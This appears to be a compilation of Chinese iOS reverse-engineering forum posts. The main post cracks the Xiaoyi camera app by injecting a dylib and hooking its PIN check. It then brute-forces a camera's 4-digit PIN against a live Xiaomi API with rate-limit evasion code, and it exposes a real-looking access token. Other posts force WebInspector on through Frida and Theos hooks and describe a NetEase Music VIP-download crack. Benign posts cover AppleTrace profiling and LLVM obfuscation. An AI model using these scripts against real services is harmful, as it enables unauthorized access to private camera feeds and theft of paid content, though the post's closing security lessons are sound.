破解版本安装包获取的途径非常多,常用的方法是直接使用越狱的手机,借助dumpcrypted/Clutch等工具,获取砸壳后的二进制文件。
由于本次分析是基于非越狱的手机,这里通过PP助手官网下载越狱的安装包。
2.1 分析网页源码
搜索找到“小蚁摄像机”的应用链接 https://www.25pp.com/ios/detail_1598325/
打开网页检查器,定位到“下载越狱版本”的标签上,得到app的下载地址appdownurl和点击响应事件ppOneKeySetup
appdownurl=“aHR0cDovL3IxMS4yNXBwLmNvbS9zb2Z0LzIwMTgvMDMvMTUvMjAxODAzMTVfMjE1NF8yMTg5ODAwMzM4ODguaXBh”
onclick=“return ppOneKeySetup(this)”
根据ppOneKeySetup及appdownUrl,在 ***pp_onekey-d17d98b4.js***定位到相关代码:
(C = h.href, E = h.getAttribute("appdownurl"), E && E.length > 0 && (C = o.base64decode(o.utf8to16(E)))
简单分析代码,脚本只是将appdownUrl进行了base64的解码,并没有其他特殊操作。对appdownUrl进行base64Decode后,得到ipa下载地址http://r11.25pp.com/soft/2018/03/15/20180315_2154_218980033888.ipa
下载ipa并解压缩后,使用otool进行验证,可以看到armv7及arm64的crypt字段都为0,说明下载的安装包二进制文件已经被砸壳了。
jiangbindeMac-mini:V2.0 jiangbin$ file YiHome2.0 YiHome2.0: Mach-O universal binary with 2 architectures: [arm_v7: Mach-O executable arm_v7] [arm64] YiHome2.0 (for architecture armv7): Mach-O executable arm_v7 YiHome2.0 (for architecture arm64): Mach-O 64-bit executable arm64 jiangbindeMac-mini:V2.0 jiangbin$ otool -l YiHome2.0 | grep crypt cryptoff 16384 cryptsize 16547840 cryptid 0 cryptoff 16384 cryptsize 18874368 cryptid 0
2.2 重签名
为了查看App沙盒中的文件,需要使用开发证书对app进行重新签名。重签名脚本见附录重签名脚本
使用一段时间后,打开沙盒目录,缓存数据初见端倪,接下来对相关文件行分析:
3 本地缓存分析
对沙盒Documents目录,进行简单分析:
- 4502360:可能是类似与userId的字段
- account.plist:记录了一些参数,只有value,没有key值
- devices:里面文件夹以deviceId为名称,区分不同的设备,每个子文件夹内有两张封面图 placeholder.png、placeholder_blur.png,分别对应摄像头设置密码前后的封面图; placeholder_blur.png只是将封面图作了高斯模糊处理
- log:自带的打印日志,信息很少,除了deviceId外,没有其他可用信息
- yydb.sqlite3:缓存了报警信息、登录信息等内容,密码相关的信息都是加密过的
3.1 yydb.sqlit3
发现一个有意思的现象,对于alarm信息,数据库中存在两份数据表,alarm_mi、alarm_yi。联想到之前设备添加的提示信息,可以断定,小蚁从小米独立出来以后,引入了自己的账号系统,但是为了兼容1代的摄像头,又不得不使用小米账号进行第三方登录。估计这一部分的账号会逐步进行淘汰,App考虑到后期的维护性,直接重新建了一份新的表格alarm_yi,以减少数据的冲突和维护。下面对表alarm_mi进行分析:
- deviceId:yunyi.TNPCHNA-695008-FUKEN
- id:数据库自增长的id,与消息id无关
- time:消息触发时间,结合表 alarm_list_read_2 ,App中将此键值作为消息的索引,也就是说从平台拉取的消息是不带messageId的,App需要通过此值来进行查找、删除、标记等操作
- videoUrl: 报警消息对应的预览视频地址,每个视频只有6s,如果要查看完整的视频,需要在视频播放结束后,主动跳转到完整视频界面去查看。使用Signature、Expires、GalaxyAccessKeyId等参数检验,在Expires时间内,可以直接下载,但由于不是标准格式的mp4格式文件,无法直接播放
https://cnbj2.fds.api.xiaomi.com/motiondetection/2018%2F03%2F19%2F337701719%2Fyunyi.TNPCHNA-695008-FUKEN_081922470.mp4?
GalaxyAccessKeyId=5561734629076&Expires=1521508775000&Signature=mLcdWGRz+oYaxS4eOlMcO6o9YL8=
- videoImageUrl: 报警消息封面图,与videoUrl类似
- video_pwd:每行对应的密码均不一样,即相同的视频密码,不同的录像段对应的缓存密码是不同的,
_SJgn2EMj6pWl2WH3x3qSA
,猜测应该是经过了多种对称加密- pic_pwd:与video_pwd相似
从表内容来看,数据库对密码字段进行了较为复杂的加密,无法通过反解析来得到视频的原始密码。另外Expires时间设置得比较短,只有30分钟,超过30min后,下载链接失效,从而保证了一定的安全性。
3.2 log文件
App自带的日志信息,位于log/y_log.txt。从打开App开始,输入摄像机密码,再到拉流成功,导出日志文件。
除了前面分析过的deviceId外,没有其他多余的信息
... 2018-03-20-04-03-26 -[JJP2PControl onCameraError:errorCode:] [Line 1923] 😡 TNPCHNA-695008-FUKEN,error:-3003 2018-03-20-04-03-26 -[JJP2PControl onCameraError:errorCode:] [Line 1923] 😡 TNPCHNA-695008-FUKEN,error:-3019 2018-03-20-04-03-32 -[JJCameraPlayViewController viewDidLoad] [Line 125] connect TNPCHNA-695008-FUKEN p2p:TNPCHNA-695008-FUKEN ....
3.3 本地缓存总结
从数据库、日志文件分析,都没有敏感的数据信息暴露,本地数据的缓存在正常途径下还是很安全的。
另外,数据库、缓存文件中,或许为了设备安全,并没有设备参数相关的数据,猜测应该是根本没有缓存。验证的方法也很简单:关闭设备密码,返回到主页,打开手机飞行模式,再次进入设备设置,发现提示设备连接失败,只展示了摄像机名称这一栏。
从目前来看,想要实现破解密码的目标似乎很难行通,但事实或许并不是如此,接下来,我们从代码层面对App进一步分析。
4 动态注入及源码分析
AppStore版本的程序,禁止使用非系统的动态库,主要是为了安全和性能的考虑。但不意味着App不可以使用动态库,只要将动态库加入到程序的bundle中,并使用相同的证书对动态库、app进行签名,就可以正常使用。
4.1 注入libCommonCrack.dylib
使用iOSOpenDev新建动态库工程,生成libCommonCrack.dylib,该动态库作用如下:
(1)导入公共log模块代码,重定向NSLog、print等输出到沙盒文件中
(2)对关键代码进行Hook
(3)启动libReveal.dylib
生成dylib后,使用yololib将其注入到二进制文件YiHome2.0中:
APP_NAME="YiHome2.0" DYLIB_NAME="libCrackCommon.dylib" TARGET_NAME="Crack-${APP_NAME}.ipa" #注入动态库 ./yololib $APP_NAME.app/$APP_NAME $DYLIB_NAME
4.2 启动Reveal
参考Reveal的帮助文档,在AppDelegate+Hook.m中,Hook住idFinishLaunchingWithOptions函数,加入启动libReveal.dylib的代码
CHDeclareMethod(0, void, AppDelegate, loadReveal) { if (NSClassFromString(@"IBARevealLoader") == nil) { NSString *revealLibName = @"libReveal"; NSString *revealLibExtension = @"dylib"; NSString *error; NSString *dyLibPath = [[NSBundle mainBundle] pathForResource:revealLibName ofType:revealLibExtension]; NSLog(@"Loading dynamic library: %@", dyLibPath); dlopen([dyLibPath cStringUsingEncoding:NSUTF8StringEncoding], RTLD_NOW); } }
注入libCommonCrack.dylib,并重新签名,安装、启动App,再次打开沙盒目录。生成了AppLog目录,打开日志文件,Reveal正常启动:
018-03-20 08:53:45.601 YiHome2.0[583:97603] Loading dynamic library: /var/containers/Bundle/Application/7CCCADB7-AF78-4E16-8CFD-2CB486C09C45/YiHome2.0.app/libReveal.dylib 2018-03-20 08:53:45.735 YiHome2.0[583:97603] INFO: Reveal Server started (Protocol Version 25).
从App上进入密码校验界面,Mac上同步更新Reveal展示,得到相关信息,即密码输入框所在的父视图 JJPincodeViewController
至此,第一个线索浮出水面。通过操作可以得知,进入设置、视频界面前,需要输入密码进行检验。如果直接跳过这个检验的步骤,是不是就可以直接观看视频、设置设备呢?接下来重点对JJPincodeViewController进行代码分析。
5 源码Hook
使用class-dump对二进制文件进行头文件导出,初步分析JJPincodeViewController.h,找到两个关键函数:
- (void)yyBlockResponsePincodeCheckWithRequest:(id)arg1 response:(id)arg2 success:(_Bool)arg3; - (_Bool)___pincodeIsSuccessWithRequest:(id)arg1 response:(id)arg2 success:(_Bool)arg3 isCheckout:(_Bool)arg4;
再使用Hopper查看JJPincodeViewController的代码,梳理函数调用关系,大致得出如下的调用过程:
将返回的结果处理函数___pincodeIsSuccessWithRequest,直接return true,一试究竟。
5.1 JJPincodeViewController+Hook
libCrackCommon工程中,加入JJPincodeViewController+Hook.m,对___pincodeIsSuccessWithRequest函数进行返回值重写
CHMethod(4, bool, JJPincodeViewController, ___pincodeIsSuccessWithRequest, id, arg1, response, id, arg2, success, bool, arg3, isCheckout, bool , arg4 ) { NSLog(@"JJPincodeViewController:: ___pincodeIsSuccessWithRequest %@ - %@ - %d - %d", arg1, arg2, arg3, arg4); if ([arg2 isKindOfClass:NSClassFromString(@"APPResponse")]) { APPResponse *response = (APPResponse *)arg2; NSLog(@"JJPincodeViewController dictResponse::%@", response.dictResponse); } return YES; }
完成打包后,直接输入一个错误的密码,确实不再有密码错误的提示,直接进入了视频播放界面。
开始拉流,但是提示连接失败;进入设置界面,加载过后,也是失败。
可以肯定,App采用了双重的加密机制,虽然可以绕过前面的密码验证步骤,但后面的请求应该也使用了密码进行检验。
至此,绕过密码验证的路也被堵死,接下来直接从接口进行分析。请求是通过YYHttpClient发送的,响应通过block返回,将YYHttpClient的发送和响应都写到日志中,看看能否得到有用信息。
5.2 YYHttpClient+Hook
这里,直接hook住post的请求,打印请求体及响应。
//- (id)singlePostWithUrl:(id)arg1 completionBlock:(id)arg2; CHMethod(2, BOOL, YYHttpClient, singlePostWithUrl, id, arg1, completionBlock, id, arg2 ) { id result = CHSuper(2, YYHttpClient, singlePostWithUrl, arg1, completionBlock, arg2); NSLog(@"YYHttpClient::singlePostWithUrl request %@ - %@ ", arg1, arg2); NSLog(@"YYHttpClient::singlePostWithUrl result %@ ", result); return result; }
再次打开日志,请求参数及结果一目了然:
============================================== url -> https://openapp.io.mi.com/openapp/pincode/check?data=%7B%22did%22%3A%22yunyi.TNPCHNA-695008-FUKEN%22%2C%22pincode%22%3A%220411%22%7D&accessToken=V2_35g_rhFEw_0GXiBzCSf_l7ZRjqy9OLJ3sahoPNoORzn6olv-PWqTGDLCNKmow1pQ59pWu74JRBr7rx3V5vxPdPBIyUwBIJIdjQipGmVfY8rF8_4oB5vexgy02H3VaynTZoF8H68IG0isVZfiXIbnhQ&clientId=2882303761517230659 action -> https://openapp.io.mi.com/openapp/pincode/check params -> data=%7B%22did%22%3A%22yunyi.TNPCHNA-695008-FUKEN%22%2C%22pincode%22%3A%220411%22%7D&accessToken=V2_35g_rhFEw_0GXiBzCSf_l7ZRjqy9OLJ3sahoPNoORzn6olv-PWqTGDLCNKmow1pQ59pWu74JRBr7rx3V5vxPdPBIyUwBIJIdjQipGmVfY8rF8_4oB5vexgy02H3VaynTZoF8H68IG0isVZfiXIbnhQ&clientId=2882303761517230659 ============================================== - <__NSStackBlock__: 0x16fde5960> 2018-03-20 08:53:50.363 YiHome2.0[583:97603] YYHttpClient::singlePostWithUrl result (null) 2018-03-20 08:53:50.672 YiHome2.0[583:97603] JJPincodeViewController:: ___pincodeIsSuccessWithRequest <ASIFormDataRequest: 0x10203f000> - <APPResponse: 0x171666100> - 1 - 1 2018-03-20 08:53:50.672 YiHome2.0[583:97603] JJPincodeViewController dictResponse::{ code = 0; message = ok; result = ""; }
对url中的data参数进行转义:
data={"did":"yunyi.TNPCHNA-695008-FUKEN","pincode":"0411"}
4个请求参数,分别如下:
- did:yunyi.TNPCHNA-695008-FUKEN,即前面分析过的设备id
- pincode:4位明文的密码
- clientId:应该是平台分配的程序标识,这个值是固定的,沙盒中的account.plist文件也有这个值
- accessToken:用于免登录和api请求
先尝试通过https://www.sojson.com/httpRequest/模拟请求,看能否通过 ,得到返回结果:
{ "code": 0, "message": "ok", "result": { "ret": -1 } }
得到正常的响应,ret返回-1表示失败。使用错误的密码多试几次后,返回的数据也是一样的,可见平台并未对该接口pincode/check作保护,App限制5次输入也是本地的行为。请求参数中did、clientId是固定值,在不注销的情况下accessToken也是不变的,所以只需要将pincode从0000枚举到9999,进行模拟的post请求,就可以暴力破解设备密码。
直接使用Almofire,发送模拟请求,发现每进行100次的串行请求,平台返回frequent的错误。这里每模拟请求50次,延迟10s继续进行,以规避该错误,具体参考代码见附录Almofire模拟请求。最终得到正确的密码 0411:
Data: {"code":0,"message":"ok","result":{"ret":-1}} Failed...0401 Data: {"code":0,"message":"ok","result":{"ret":-1}} Failed...0402 Data: {"code":0,"message":"ok","result":{"ret":-1}} Failed...0403 Data: {"code":0,"message":"ok","result":{"ret":-1}} Failed...0404 Data: {"code":0,"message":"ok","result":{"ret":-1}} Failed...0405 Data: {"code":0,"message":"ok","result":{"ret":-1}} Failed...0406 Data: {"code":0,"message":"ok","result":{"ret":-1}} Failed...0407 Data: {"code":0,"message":"ok","result":{"ret":-1}} Failed...0408 Data: {"code":0,"message":"ok","result":{"ret":-1}} Failed...0409 Data: {"code":0,"message":"ok","result":{"ret":-1}} Failed...0410 Data: {"code":0,"message":"ok","result":""} Succeed...0411
除此之外,还可以得到很多其他的接口……
6 总结
综上,从数据缓存、数据传输方面分析了小蚁摄像机App的加密方式及安全性。从表象上看,缓存使用了复杂的对称加密方式,数据传输使用了HTTPS方式,安全性应该是非常高了。但是在hook之下,隐患一览无遗,扯去了安全的外衣,剩下的是一系列明文传输的接口。
从中,我觉得有几点值得反思:(1)密码校验,平台一定要做防止暴力破解,而不是从App端进行限制
(2)Http请求,要在请求头中加上比较复杂的签名算法
(3)发布版本,需要屏蔽日志输出相关函数,以免被进行hook
附录
重签名脚本
APP_NAME="YiHome2.0" DYLIB_NAME="libCrackCommon.dylib" TARGET_NAME="Crack-${APP_NAME}.ipa" TARGET_BUNDLEID="com.360ants.yihome" KEYCHAIN="6F52A56706B4E6CB90C605FF39841ACB01C8558C" #配置信息打印 function printXcodeInfo() { xcode-select --version xcode-select --print-path security find-identity -v -p codesigning } #注入动态库 ./yololib $APP_NAME.app/$APP_NAME $DYLIB_NAME #将文件拷贝到目录下 cp $DYLIB_NAME $APP_NAME.app/$DYLIB_NAME rm -f $APP_NAME.app/embedded.mobileprovision rm -f -r $APP_NAME.app/_CodeSignature cp embedded.mobileprovision $APP_NAME.app/embedded.mobileprovision #删除watch及PlugIns文件夹【可能会造成签名不正确的问题】 rm -r $APP_NAME.app/Watch/ rm -r $APP_NAME.app/PlugIns/ #替换图标 function copyIconWithSize () { SIZE=$1 cp ./Icons/AppIcon$1x$1@2x.png $APP_NAME.app/AppIcon$1x$1@2x.png cp ./Icons/AppIcon$1x$1@3x.png $APP_NAME.app/AppIcon$1x$1@3x.png } copyIconWithSize "29" copyIconWithSize "40" copyIconWithSize "57" copyIconWithSize "60" #改变bundle identifier echo "change bundle ID to ${TARGET_BUNDLEID}" `/usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier ${TARGET_BUNDLEID}" $APP_NAME.app/Info.plist` #先对动态库签名 codesign -v -f -s "${KEYCHAIN}" $APP_NAME.app/$DYLIB_NAME #codesign -v -f -s "${KEYCHAIN}" $APP_NAME.app/Frameworks/* #再对app签名 codesign -v -f -s "${KEYCHAIN}" --entitlements Entitlements.plist $APP_NAME.app #删除旧的ipa,覆盖时可能会影响安装 rm -r $TARGET_NAME #使用Zip打包,注意文件结构 Payload/xxx.app mkdir Payload cp -r $APP_NAME.app Payload zip -qr $TARGET_NAME Payload #清除临时文件夹Payload rm -rf Payload #检验 echo "=============================================================" echo "签名信息:" codesign -dvvv $APP_NAME.app
Almofire模拟请求代码段
func testYiHomePincode(pincode: String, completion: @escaping (_ result: Bool) -> (Void)) -> DataRequest { let urlString = "https://openapp.io.mi.com/openapp/pincode/check" let header: HTTPHeaders = [ "Content-Type" : "application/x-www-form-urlencoded" ] //注意data为非标准格式json let parameters: Parameters = [ "data": "{\"did\": \"yunyi.TNPCHNA-695008-FUKEN\", \"pincode\": \"\(pincode)\"}", "accessToken": "V2_35g_rhFEw_0GXiBzCSf_l7ZRjqy9OLJ3sahoPNoORzn6olv-PWqTGDLCNKmow1pQ59pWu74JRBr7rx3V5vxPdPBIyUwBIJIdjQipGmVfY8rF8_4oB5vexgy02H3VaynTZoF8H68IG0isVZfiXIbnhQ", "clientId": "2882303761517230659" ] let request = Alamofire.request(urlString, method: .post, parameters: parameters, encoding: URLEncoding.default, headers: header) request.response { response in if let data = response.data, let utf8Text = String(data: data, encoding: .utf8) { print("Data: \(utf8Text)") let json = JSON.parse(utf8Text) if let dic = json.dictionaryObject { if let result = dic["result"] { if result as? [String: Any] != nil { print("Failed...\(pincode)") completion(false) } else { print("Succeed...\(pincode)") completion(true) } } else { print("Failed...\(pincode)") completion(false) } } } } return request } func testYiHome(index: Int) { let pincode = String(format: "%04d", index) _ = self.testYiHomePincode(pincode: pincode, completion: { (result) -> (Void) in if result == false { if index != 0, index % 50 == 0 { sleep(10) } self.testYiHome(index: index+1) } }) }
Posts: 2
Participants: 2
@ChiChou wrote:
iOS 7 之后的 Safari 提供了远程调试设备上网页的功能。在设备和 mac 端的 Safari 上均开启开发者功能之后,可以用 USB 连接手机,然后在 Develop 菜单中选择对应的页面打开 WebInspector:
先说明另一种屡试不爽的办法,砸壳 -> MonkeyDev 重打包。
然后我们来看越狱设备下如何全局地开启。
App 是否支持 WebInspector 是通过 entitlement 控制的。已知将
com.apple.security.get-task-allow
设置为true
之后会允许调试 WebView。Xcode 编译出来的调试版本 App 都会带上这个 entitlement,这也是 lldb 真机调试必须的配置。MobileSafari 肯定不允许 lldb 调试,不过可以看到(iOS 11.1.2)它注册了一个这样 entitlement:
在 iOS 设备上启用了 WebInspector 之后会出现一个
webinspectord
的守护进程。关于远程调试实现的一些技术细节可以参考 Webkit远程调试协议实战。几年前就有的文章,在此膜拜一下。上面提到的文章同样也没有解决 entitlement 的条件,还是需要自己逆向一下。这个进程的代码只有一点点:
其实是放在链接库里了。
把 dyld_shared_cache 拖回来分析。
com.apple.private.webinspector.allow-remote-inspection
com.apple.security.get-task-allow
很快定位到字符串表:
通过交叉引用来到如下函数:
bool __cdecl -[RWIRelayDelegateIOS _allowApplication:bundleIdentifier:](id a1, SEL a2, struct {unsigned int var0[8];} *a3, id a4) { __int128 *v4; // x21 id v5; // x20 __int64 v6; // x19 char v7; // w20 __int128 v9; // [xsp+0h] [xbp-80h] __int128 v10; // [xsp+10h] [xbp-70h] __int128 v11; // [xsp+20h] [xbp-60h] __int128 v12; // [xsp+30h] [xbp-50h] __int128 v13; // [xsp+40h] [xbp-40h] __int128 v14; // [xsp+50h] [xbp-30h] v4 = (__int128 *)a3; v5 = a1; v6 = MEMORY[0x18F5A5488](a4, a2); if ( qword_1B0981AD0 != -1 ) dispatch_once(&qword_1B0981AD0, &unk_1AC56C870); if ( byte_1B0981AC8 ) goto LABEL_14; v14 = v4[1]; v13 = *v4; if ( MEMORY[0x18F5A547C](v5, selRef__hasRemoteInspectorEntitlement_[0], &v13) & 1 ) // 开启了 allow-remote-inspection goto LABEL_14; if ( qword_1B0981AE0 != -1 ) dispatch_once(&qword_1B0981AE0, &unk_1AC56C8B0); if ( byte_1B0981AD8 && (v12 = v4[1], v11 = *v4, MEMORY[0x18F5A547C](v5, selRef__hasCarrierRemoteInspectorEntitlement_[0], &v11) & 1) ) { // 特定条件下检查的是 com.apple.private.webinspector.allow-carrier-remote-inspection LABEL_14: v7 = 1; } else { v10 = v4[1]; v9 = *v4; v7 = MEMORY[0x18F5A547C](v5, selRef__usedDevelopmentProvisioningProfile_[0], &v9); // 开发版本 App 同样放行 } MEMORY[0x18F5A5484](v6); return v7; }
这正是检查是否允许调试的关键函数。
使用 frida hook 框架简单验证一下:
➜ passionfruit git:(master) ✗ frida -U webinspectord ____ / _ | Frida 10.6.61 - A world-class dynamic instrumentation toolkit | (_| | > _ | Commands: /_/ |_| help -> Displays the help system . . . . object? -> Display information about 'object' . . . . exit/quit -> Exit . . . . . . . . More info at http://www.frida.re/docs/home/ [iPad 4::webinspectord]-> Interceptor.attach(ObjC.classes.RWIRelayDelegateIOS['- _allowApplication:bundleIdentifier:'].implementation, { onEnter: function(args) { this.bundleId = new ObjC.Object(args[3]); }, onLeave: function(retVal) { const allow = !retVal.equals(NULL) console.log(this.bundleId + (allow ? ' allows' : ' does not allow') + ' WebInspect') if (!allow) { console.log('now patch it'); retVal.replace(ptr(1)); } } }); {} [iPad 4::webinspectord]-> com.tencent.mipadqq does not allow WebInspect now patch it com.mx.MxBrowser-iPhone does not allow WebInspect now patch it com.apple.WebKit.WebContent allows WebInspect com.mx.MxBrowser-iPhone does not allow WebInspect now patch it com.apple.WebKit.WebContent allows WebInspect com.mx.MxBrowser-iPhone does not allow WebInspect now patch it
每次启动新应用的时候都会调用这个函数做一次判断,将其返回值 patch 为 TRUE,第三方浏览器出现在了 Safari 的调试列表中:
另外 macOS 上的 WebInspector 也有类似函数
__int64 __fastcall -[RWIRelayDelegateMac _allowApplication:bundleIdentifier:]
,检查的 entitlement 键名略有不同。用 THEOS 写成 Tweak,简单粗暴:
{ Filter = { Bundles = ( "com.apple.webinspectord" ); }; }
Tweak.xm
%hook RWIRelayDelegateIOS - (BOOL)_allowApplication:(void *)ignored bundleIdentifier:(NSString *)bundleId { %log; NSLog(@"Force WebInspect enable for %@", bundleId); return TRUE; } %end
更新
本文在 11.1.2 和 10.3.3 上测试通过。
有同学反馈 10.0.2 没有 RWIRelayDelegateIOS 类,我验证了一下 10.0.3 的 IPSW 固件,函数是一样的。只不过直接编译到 webinspectord 而不是链接 WebInspector.framework。拆分链接库应该是 iOS 11 开始的。
在 iOS 9.3.3 上类名不一样,应该对 WebInspectorRelayDelegateIOS 的 - _allowApplication:bundleIdentifier: 进行 hook。其他 iOS 版本的兼容性还有待进一步分析。
P.S.
顺便求问一下这样需要判断兼容性来 hook 不同类名的 Tweak 应该怎么写呢?
Posts: 4
Participants: 2
@weiliang.soon wrote:
网易云音乐是一款专注于…(官网摘的)
干正事:
网易云音乐有些曲目听是可以的,但是下载需要VIP,不出意外,是可以拿到试听地址添加到下载地址上的。下载歌曲:
数据模型:downloadUrlInfo、playUrlInfo; 我们悄悄的把downloadUrlInfo 换成 playUrlInfo 当然还要处理一些BOOL值,例如:canDownloadMusic之类。去除广告…
NMAppDelegate里面有一些初始化广告的动作…检测版本…
也是在NMAppDelegate里面,如果懂汉语拼音很容易猜出来。网易云有包名检测,不正确的包名会登录不了。
还有其他的,我忘记了
附上可以直接运行的工程:https://github.com/sunweiliang/NeteaseMusicCrack
最后,希望大家可以多多支持网易云。
Posts: 7
Participants: 5
@everettjf wrote:
背景
一般情况下使用Instruments(主要是Time Profiler)进行iOS App的性能分析就足够了,但是Time Profiler 把调用方法都合并了起来,失去了时序的表现。直到有一天看到Android开发的同事使用 systrace 分析性能,systrace生成一个html文件,把函数(方法)的调用耗时按照先后顺序表现出来。心里想:要是iOS也有这样的工具就好了。了解到这个html文件是 catapult 生成的。
一天看到iosre论坛一篇hook objc_msgSend的帖子。突然想到,可以结合catapult来生成Objective C方法的性能分析图(暂且这么叫吧)。(虽然一直也有hook objc_msgSend的方法,但这次煮好的佳肴终于仍不住下手了)。
说搞就开始搞,暂停几天开发MachOExplorer。近期一直利用少之又少的业余时间蜗牛般开发MachOExplorer,但现在看来
生成性能分析图
更是重要,回想过去的一些苦力加班,如果能生成这个性能分析图,当时岂不是很快就解决问题了。目标
hook 所有的objc_msgSend,也就是把每个Objective C方法的耗时计算出来,并按照先后顺序生成
性能分析图
。要解决的问题
如何生成最终的html
从这里可以了解到catapult是如何生成html的。其中一种方式可以是:Chrome's trace_event format。简单来说,
trace_event format
就是个json格式,按照这个约定的json格式填充数据后,就可以使用trace2html命令(python脚本)转换为最终的html文件了。$CATAPULT/tracing/bin/trace2html my_trace.json --output=my_trace.html && open my_trace.html
如何Hook objc_msgSend
见文章使用HookZz快速逆向(Hack objc_msgSend) 理清逻辑
HookZz是jmpews开发的微型hook框架,使用起来十分灵活。详见 https://jmpews.github.io/zzpp/
如何生成trace_event format的json文件
参考文档 Chrome's trace_event format 可以了解到,最简单的json文件,可以是这样:
[ {"name": "Asub", "cat": "PERF", "ph": "B", "pid": 22630, "tid": 22630, "ts": 829}, {"name": "Asub", "cat": "PERF", "ph": "E", "pid": 22630, "tid": 22630, "ts": 833} ]
每一行表示一个Event,
{ "name": "myName", "cat": "category,list", "ph": "B", "ts": 12345, "pid": 123, "tid": 456, "args": { "someArg": 1, "anotherArg": { "value": "my value" } } }
每个字段的含义如下:
- name: The name of the event, as displayed in Trace Viewer - cat: The event categories. This is a comma separated list of categories for the event. The categories can be used to hide events in the Trace Viewer UI. - ph: The event type. This is a single character which changes depending on the type of event being output. The valid values are listed in the table below. We will discuss each phase type below. - ts: The tracing clock timestamp of the event. The timestamps are provided at microsecond granularity. - tts: Optional. The thread clock timestamp of the event. The timestamps are provided at microsecond granularity. - pid: The process ID for the process that output this event. - tid: The thread ID for the thread that output this event. - args: Any arguments provided for the event. Some of the event types have required argument fields, otherwise, you can put any information you wish in here. The arguments are displayed in Trace Viewer when you view an event in the analysis section.
其中ph(event type)是需要关心的:
| Duration Events | B(begin), E(end) |
也就是说一个方法的调用,至少有两行,ph=B和ph=E。
格式弄清楚后,就需要生成json文件了。生成这个json文件本质上就是个日志功能,为了尽最大可能不影响App的性能,使用内存映射mmap方法来写文件。同时为了简单的处理多线程问题,使用了串行queue。代码见这里
最终trace文件会生成在App沙盒中的
tmp/appletracedata
目录。由于日志量可能很大,又结合mmap的特性,日志文件会以下面的逻辑生成:trace.appletrace trace_1.appletrace trace_2.appletrace trace_3.appletrace ... trace_N.appletrace
每个appletrace文件16MB,由于mmap的特性(只能映射固定大小文件),文件末尾一般会有
\0
来填充。生成这些appletrace文件后,需要从App的沙盒中复制出来。使用
merge.py
把appletrace文件转换为trace_event format
的json文件。python merge.py -d <appletracedata directory>
最终执行catapult的trace2html脚本,生成最终的html文件。
python catapult/tracing/bin/trace2html appletracedata/trace.json --output=appletracedata/trace.html
源码
使用方法
采集数据
目前有两种采集数据的方式。
手动 APTBeginSection 和 APTEndSection
这种场景是:我不想hook所有的Objective C方法,我只想在分析性能时,一点一点手动添加
开始点和结束点
。(这点Android的systrace也是支持)虽然麻烦,但在定位到大体方向后,这样更加精细和准确,避免了hook对App本身性能的影响。(1)只需要把
appletrace.h
和appletrace.mm
文件拖入自己的功能即可。(当然这里可以做成CocoaPods,有时间可以做下)。(2)然后在函数(方法)的开头和结尾(或者自己感兴趣的区间),调用
APTBeginSection
和APTEndSection
即可。对于ObjectiveC方法可以使用宏APTBegin
和APTEnd
。// Objective C class method #define APTBegin APTBeginSection([NSString stringWithFormat:@"[%@]%@",self,NSStringFromSelector(_cmd)].UTF8String) #define APTEnd APTEndSection([NSString stringWithFormat:@"[%@]%@",self,NSStringFromSelector(_cmd)].UTF8String)
参考例子
sample/ManualSectionDemo
。
Hook objc_msgSend
这种场景是:我想初步定为哪里有耗时的操作,可以整体上Hook objc_msgSend一次,对整个App的流程有个大致了解。
(1)把动态库的工程
appletrace.xcodeproj
拖拽到目标工程。
(2)并配置动态库的依赖Target Dependencies
和Copy Files
。参考
sample/TraceAllMsgDemo
。注意:
- 需要关闭BitCode。
- 仅支持arm64。
处理数据,生成html
从App的沙盒中复制出
tmp/appletracedata
目录。(例如:Xcode可以直接Dump出整个沙盒)然后,
// 处理mmap的日志文件 python merge.py -d <appletracedata directory> // 生成html python catapult/tracing/bin/trace2html appletracedata/trace.json --output=appletracedata/trace.html // 打开 open trace.html
就可以看到
性能影响
目前对App性能的影响主要是:
- Hook objc_msgSend :这个是主要的影响,因此生成的最终结果仅用于分析、对比,而不能认为就是耗费了这些数值。
- 日志文件:为了写日志,mmap了文件,还创建了队列。对App本身的性能也有影响。
局限
由于HookZz对objc_msgSend的hook仅实现了
arm64
架构,因此只能在真机上分析。(当然这也足够了,主流设备就是arm64)计划
计划1:dtrace
对于数据的产生来源,目前有两种:
- 手动 APTBeginSection 和 APTEndSection
- Hook objc_msgSend
最近一段时间对
dtrace
也学习了一段时间了,完全可以针对模拟器使用dtrace
来生成数据。dtrace由于是内核层,对App本身的性能影响很小,而且dtrace不仅仅可以hook(trace)ObjectiveC方法,还可以trace C方法、swift方法。这是下一步的计划。计划2:白名单类/黑名单类
Hook objc_msgSend的方法,有的类可能并不关心。可以采用白名单或者黑名单的方式,缩小分析范围。
计划3:Hook +load and C++ static initializers
见A method of hook static initializers
和A method of hook objective c +load总结
这个工具本身的代码不多(写日志),主要是组合了catapult和HookZz,再次感谢catapult和HookZz。
有任何问题欢迎随时 issue,或者联系我的微信 everettjf。
(文章同步发布于我的博客 http://everettjf.com/2017/09/21/appletrace/ )
招聘
北京 蚂蚁金服 支付宝基础架构部 招聘iOS开发/专家 P6+或P7,亿级App的架构、性能、稳定性工作,绝对有挑战。如果有兴趣加入我们,欢迎随时加我微信 everettjf 交流,或者先发简历到我的个人邮箱 :everettjf@live.com 。
Posts: 5
Participants: 4
@everettjf wrote:
(关联文章: http://everettjf.com/2017/09/21/appletrace/ )
结果演示:
环境:
arm64(仅在arm64环境下)
工具:
- MonkeyDev https://github.com/AloneMonkey/MonkeyDev
- AppleTrace https://github.com/everettjf/AppleTrace
步骤:
- 首先使用MonkeyDev创建MonkeyApp
新建Podfile
#source 'https://github.com/AloneMonkey/MonkeyDevSpecs.git' source 'https://github.com/everettjf/MonkeyDevSpecs.git' use_frameworks! target 'WeChatAppleTraceDylib' do pod 'AppleTrace','1.0.1' end
把第三方App的ipa放入 MonkeyDev指定的Target目录中。
- 运行
- 从沙盒 Library目录中复制出 appletracedata目录
- 按照 https://github.com/everettjf/AppleTrace README中的步骤可生成 trace.html
结果
https://github.com/everettjf/Yolo/raw/master/WeChatAppleTrace/Result/WeChatStartup.zip
解压上面的zip文件,打开trace.html,按快捷键 w a s d 可缩放移动,就像在玩 CS,是吧。
Posts: 1
Participants: 1
@Zhang wrote:
本文的前置要求: 已阅读 自己动手实现基于llvm的字符串加密 这篇文章包含大量的基础概念。
在正向开发,尤其是单机游戏开发中,开发者常常饱受Cheat-Engine 八门神器类的内存修改器攻击。常见的保护方法是手动做大量的加密解密操作,这会导致无比巨大的人力成本和维护成本,本文将教会你Hack LLVM并使用80行代码来在编译层解决这个问题。
考虑以下的代码:
